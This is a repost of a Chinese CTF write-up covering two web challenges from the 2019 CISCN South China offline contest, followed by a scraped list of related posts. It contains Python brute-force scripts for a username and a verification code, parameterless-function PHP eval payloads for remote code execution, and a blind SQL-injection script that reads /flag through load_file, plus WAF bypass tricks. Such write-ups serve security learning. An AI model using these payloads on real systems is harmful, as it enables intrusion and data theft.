原帖地址 : https://xz.aliyun.com/t/5558

2019CISCN华南线下的两个简单 web

部分题目下载地址,有的不完整 : 点我点我

web 1

  • 考点 : 无参函数的 RCE

  • 在注释中发现了 forgetpassword.php 页面

  • 打开 forgetpassword.php,要求输入一个用户名,尝试用户名爆破,结果为 admin123

    import requests
    
    url = "http://127.0.0.1/ciscn/web1/useri.php"
    
    response = "没有这个用户"
    
    f = open("./username.txt", "r", encoding="utf-8")
    
    for line in f:
    line = line.strip() data = {
    "user_name" : line,
    } r = requests.post(url=url, data=data) if response in r.text:
    continue
    else:
    print(line)
    break
  • 输入 admin123 之后跳转到 useryzm.php 页面

  • 提示验证码经过 base64 加密,而且验证码是 4 位的数字,写脚本爆破一下,结果验证码为 MTQyMw==

    四位数字生成

    for i in range(0,10000):
    s = str(i).zfill(4)
    print(s)
    f = open("num.txt",'a')
    f.write(s)
    f.write('\n') #实现换行的功能

    爆破密码

    import requests
    import base64 url = 'http://127.0.0.1/ciscn/web1/yzmi.php' f = open('./num.txt', 'r', encoding="utf-8") response = "错误" for line in f:
    line = line.strip().encode('utf-8')
    line = base64.b64encode(line) data = {
    "yzm" : line.decode('utf-8'),
    } r = requests.post(url=url, data=data) if response in r.text:
    continue
    else:
    print(line)
    break
  • 输入后获得密码 f4h1l0t0j2g5b1m0a0m0a3d2d0

  • 返回 index.html 输入账号密码,获得新提示,但是这里忘记复制数据库了,就直接跳到下一步吧,访问 mDjNaF.php

  • mDjNaF.php 页面

  • 看一下正则,preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])\W 匹配任意字母和数字,(?R)? 重复整个模式,合在一起类似于匹配 x(y(z())) 样式的,且不能存在参数,输入 phpinfo(); 可以查看 phpinfo 页面

  • 接下来就是构造无参数函数进行 RCE 了,想到可以更改 header 中的属性和值,使用无参数函数获取 header 处的值,达到 RCE 的目的。

  • 对于 Cookie 属性,我们可以随意更改,session_id() 函数可以获取 PHPSESSID,如果没有开启 session 可以使用 session_start() 函数。由于不能带参数,我们可以将命令转化为 hex 再用 hex2bin() 函数转化。

  • payload :

    ?code=eval(hex2bin(session_id(session_start())));
    // echo 'peri0d';
    Cookie: PHPSESSID=6563686f2027706572693064273b

  • 还可以自己传参达到 RCE,get_defined_vars() 函数返回所有已定义的变量列表,然后利用提取位置的函数就可以实现 RCE

  • payload : ?code=eval(end(current(get_defined_vars())));&a=var_dump(scandir('../'))

web 4

  • 考点 : insert() 盲注

  • 一个登录页面

  • 试一试万能密码 admin'# ,登录成功,并给出提示

  • 经过 fuzz 发现过滤了空格,union,benchmark,sleep,regexp,order等很多很多关键字,空格可以使用 /**/ 绕过

  • 给出了文件路径,可以使用 load_file 读取,再与 insert() 函数结合,使用异或,好像可以进行盲注

  • insert((select(load_file('/flag'))),2,255,'') 即在 flag 中,从第 2 个字符到第 255 个字符替换为空字符,即只显示第 1 个字符。insert((select(load_file('/flag'))),3,255,'')把第 3 个字符到第 255 个字符替换为空字符,即只显示前面两个字符。

  • 脚本如下

    import requests
    
    url = 'http://172.27.137.145/ciscn/web4/index.php'
    
    # payload = "admin'^(select('f')>(insert((select(load_file('/flag'))),2,255,'')))#"
    
    temp_list = []
    
    flag_list = []
    
    for i in range(2,255):
    payload_1 = "')>(insert((select(load_file('/flag'))),"+str(i)+",255,'')))#"
    flag = ''.join(flag_list)
    temp_list.clear()
    for j in range(32, 127):
    payload = "admin'^(select('"+flag+chr(j)+payload_1
    print(payload)
    data = {'username' : payload,}
    r = requests.post(url=url, data=data)
    if 'success' in r.text:
    temp_list.append(chr(j))
    try:
    flag_list.append(temp_list.pop())
    except:
    break
    print(''.join(flag_list))

  • 过滤语句 :

    if(preg_match("/union|benchmark|strcmp|locate|STRCMP|position|md5|mid|sub|concat|and|left|sleep|space|instr|conv|\s|right|cast|locate|limit|reverse|glob|having|match|count|pad|char|hex|regexp|order|group|ascii|information/i",$username))
    {
    die('wafed!<br>');
    }
    if(preg_match("/union|position|strcmp|locate|benchmark|STRCMP|concat|md5|mid|sub|sleep|and|left|cast|space|instr|pad|conv|\s|right|limit|reverse|locate|match|glob|having|count|char|hex|regexp|order|group|ascii|information/i",$passwd))
    {
    die('wafed!<br>');
    }

2019CISCN华南线下两道web复现的更多相关文章

  1. DASCTF七月赛两道Web题复现

    Ezfileinclude(目录穿越) 拿到http://183.129.189.60:10012/image.php?t=1596121010&f=Z3F5LmpwZw== t是时间,可以利 ...

  2. 2019 第三届强网杯线上赛部分web复现

    0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...

  3. CTF 两道web整数溢出题目(猫咪银行和ltshop)

    ①猫咪银行: (2018中科大hackgame) 一开始给十个CTB,而flag需要20个CTB,我们需要理财赚够20个. 理财是只能买入TDSU才可以获得收益.我们先上来直接把CTB全部换成TDSU ...

  4. 2019balsn两道web和2019巅峰极客一道web记录

    遇到3道有点意思的web,记录一下~ web1 题目地址:http://warmup.balsnctf.com/ 源码如下所示: <?php if (($secret = base64_deco ...

  5. 2019全国大学生信息安全大赛两道web

    简单小结 菜鸟第一次打国赛,这次题目质量很高,学到了许多姿势. Web Justsoso 打开题目,源代码出存在提示: 使用LFI读取index.php与hint.php http://d4dc224 ...

  6. BAT线下战争:巨额投资或培养出自己最大对手(包括美团、58、饿了么在内的公司都在计划推出自己的支付工具和金融产品,腾讯只做2不做O)

    BAT线下战争:巨额投资或培养出自己最大对手 2015年10月12日09:49   <财经>杂志    我有话说(18人参与) 收藏本文        BAT大举投资线下公司,看似咄咄逼人 ...

  7. 关于一次Web线下面试的思考

    前言: 今天面试一家Web前端的公司,由于跟初筛的面试官关系挺好,按理来说我在第一次线上面试就应该被淘汰了(呜呜呜),接下来是线下面试,不出意外的话,我凉了.但是这些天的面试经验并非全无收获.我的线下 ...

  8. 你所不知道的库存超限做法 服务器一般达到多少qps比较好[转] JAVA格物致知基础篇:你所不知道的返回码 深入了解EntityFramework Core 2.1延迟加载(Lazy Loading) EntityFramework 6.x和EntityFramework Core关系映射中导航属性必须是public? 藏在正则表达式里的陷阱 两道面试题,带你解析Java类加载机制

    你所不知道的库存超限做法 在互联网企业中,限购的做法,多种多样,有的别出心裁,有的因循守旧,但是种种做法皆想达到的目的,无外乎几种,商品卖的完,系统抗的住,库存不超限.虽然短短数语,却有着说不完,道不 ...

  9. 【广州.NET社区线下活动】云定未来 - Azure Meetup

    第2届 广州.NET线下沙龙 Azure Meetup 4月13日,第2届广州.NET线下沙龙在广州银行大厦7楼中创学院路演大厅成功举办.来自微软MVP.网易的技术专家们带来了干货满满的知识分享,即使 ...

随机推荐

  1. Python第六章-函数06-高阶函数

    函数的高级应用 二.高阶函数 高级函数, 英文叫 Higher-order Function. 那么什么是高阶函数呢? 在说明什么是=高阶函数之前, 我们需要对函数再做进一步的理解! 2.1 函数的本 ...

  2. ThunderNet :像闪电一样,旷视再出超轻量级检测器,高达267fps | ICCV 2019

    论文提出了实时的超轻量级two-stage detector ThunderNet,靠着精心设计的主干网络以及提高特征表达能力的CEM和SAM模块,使用很少的计算量就能超越目前的one-stage d ...

  3. 从零开始发布一个ArcGIS Server地图服务

    @ 目录 一.软件环境搭建 1.数据库安装 1.1.Oracle(可选) 1.1.1.安装Oracle服务端 1.1.2.安装Oracle客户端 1.2.PostgreSQL(可选) 1.2.1.安装 ...

  4. spring bean的装载过程简略赏析

    spring一个bean的容器,它从这个最基本的功能进而扩展出AOP,transaction,cache,schedule,data等等,将业务与框架代码解耦,让我们可以将大部分精力投入到业务代码中, ...

  5. Kubernets中获取客户端真实IP总结

    1. 导言 绝大多数业务场景都是需要知道客户端IP的 在k8s中运行的业务项目,如何获取到客户端真实IP? 本文总结了通行的2种方式 要答案的直接看方式一.方式二和总结 SEO 关键字 nginx i ...

  6. iOS 13DarkMode暗黑模式

    iOS 13系统的iPhone 在设置-->显示与亮度 -->选择深色 即开启暗黑模式 1.暗黑模式关闭 1.1 APP开发未进行暗黑适配,出现顶部通知栏字体颜色无法改变始终为白色.可以全 ...

  7. MATLAB——颜色梯度显示

    一.colormap函数 figure surf(peaks) k=; mycolor=spring(k); colormap(mycolor); spring是颜色的分类.spring(k)生成k个 ...

  8. 条件判断IF

    bash中条件判断使用if语句 千万注意分号 一.单分支条件判断 if  条件 :then 分支1: fi 二.双分支条件判断 if  条件:then 分支1: else 分支2: fi 三.多分支条 ...

  9. Java实现3次找到假球

    前言 之前老师让写一个程序,就写了写. 正文 题目要求 程序要求 10个铅球中有一个假球(比其他铅球的重量要轻),用天平三次称出假球. 程序设计思路 第一次使用天平分别称5个球,判断轻的一边有假球:拿 ...

  10. 1029 Median (25分)

    Given an increasing sequence S of N integers, the median is the number at the middle position. For e ...